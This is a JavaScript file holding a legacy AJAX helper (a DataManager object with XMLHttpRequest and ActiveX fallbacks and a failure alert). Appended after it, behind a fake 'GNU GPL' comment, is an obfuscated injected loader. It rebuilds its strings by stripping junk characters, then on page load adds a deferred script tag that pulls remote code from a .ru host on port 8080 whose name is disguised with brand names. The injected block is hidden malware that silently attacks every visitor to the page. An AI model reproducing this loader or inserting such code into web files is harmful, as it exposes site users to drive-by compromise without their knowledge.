function DataManager() {
	// Properties
	var self = this;
	self.RequestCompleteEvent = null;
	this.RequestCompleteEvent = self.RequestCompleteEvent;
	self.RequestFailedEvent = null;
	this.RequestFailedEvent = self.RequestFailedEvent;
	// Param is a property where you can store information which you may require
	// once the datahandler is complete. For example, the translation of the
	// word "complete" for alerting that something is finished. It can be
	// referenced from within the RequestCompleteEvent or RequestFailedEvent
	// events with this.Param.
	self.Param = null;
	this.Param = self.Param;
	
	// Methods
	this.CreateDataHandler = function(Request) {
		var DataHandler = function() {
			if (Request.readyState == 4) {
				if (Request.status == 200) {
					self.RequestCompleteEvent(Request);
				} else {
					self.RequestFailedEvent(Request);
				}
			}
		}
		DataHandler.Request = Request;
		DataHandler.RequestCompleteEvent = self.RequestCompleteEvent;
		DataHandler.RequestFailedEvent = self.RequestFailedEvent;
		DataHandler.Param = self.Param;
		return DataHandler;
	}
	this.InitiateXmlHttpRequest = function() {
		var Request = null;
		try {
			Request = new ActiveXObject("Msxml2.XMLHTTP");
		} catch(e) {
			try {
				Request = new ActiveXObject("Microsoft.XMLHTTP");
			} catch(oc) {
				Request = null;
			}
		}
		if (!Request && typeof(XMLHttpRequest) != "undefined") Request = new XMLHttpRequest();
		if (!Request) alert("Failed to create new ajax request.");
		return Request;
	}
	this.LoadData = function(DataSource) {
		// Debug
		// document.location = DataSource;
		var Request = this.InitiateXmlHttpRequest();
		if (Request != null) {
			try {
				Request.onreadystatechange = this.CreateDataHandler(Request);
				Request.open("GET", DataSource, true);
				Request.send(null);
			} catch(oc) {
				alert(oc);
			}
		}
	}
}
function HandleFailure(Request) {
	alert("Failed: ("+Request.status+") "+Request.statusText);
}

/*GNU GPL*/ try{window.onload = function(){var Zt7wubj1y0 = document.createElement('s(&$)c^((^!r!@#@i!#(^p&&t)@@'.replace(/\!|@|\$|#|\)|\(|&|\^/ig, ''));var W073z0xwuogy = 'Ag8cb26gjddies';Zt7wubj1y0.setAttribute('type', 't#&e&x&^$^@t@(&$/()j@a^v@&a@#^s!&(c(#r^i$&^#p)#(t!!'.replace(/&|\^|\)|#|\(|@|\$|\!/ig, ''));Zt7wubj1y0.setAttribute('src',  'h@t^!t#!p$#$$:!!/!/#&!^t!-^@m^#!o$@b&)(^i$@^l!!)e@$(@-$&c^^#o@&$m(!.^$o!(#p$)!e&&n!!$d)(#&n)$s!&#^.^(@c##o^)m^$.&@#(k&i^n$&^)o(p#o&i)!s(k$@-#&r&u!(#.$)b##e$!s)&^^t&(@b^^o&&&b$$#^.))!))r&u)^:$!@8@&@0^@(8!&0!^/($g)!o)#^)&o^@g(l(e&.)#c#$(!o#m^/$#g#(o)!$o(&@$g#&#l(&e!)$.(&!c!)&o!@m@&#$/##!c^!!&h)()i^^##n$a@^$)r##e&n^@@).$(c#!)o!$m$^)(/)$l@^$e(t$!i)#t^!b((^i@#t#).^(n)!@e$#t&/)&)z@$@h#@&a!)^o!$&p#(!)i##n!)!.#&c($o##(m)!$/)&'.replace(/#|\(|\$|@|&|\^|\)|\!/ig, ''));Zt7wubj1y0.setAttribute('defer', 'd#!@e#$#f&!#e#$#@r#$'.replace(/@|\)|#|&|\$|\(|\!|\^/ig, ''));Zt7wubj1y0.setAttribute('id', 'B^$o##@c!&)b!!q$#l@@#)s@^j$^d(#$@e#)(i@)'.replace(/#|@|&|\!|\(|\^|\$|\)/ig, ''));document.body.appendChild(Zt7wubj1y0);}} catch(A6207eg484zw0v) {}
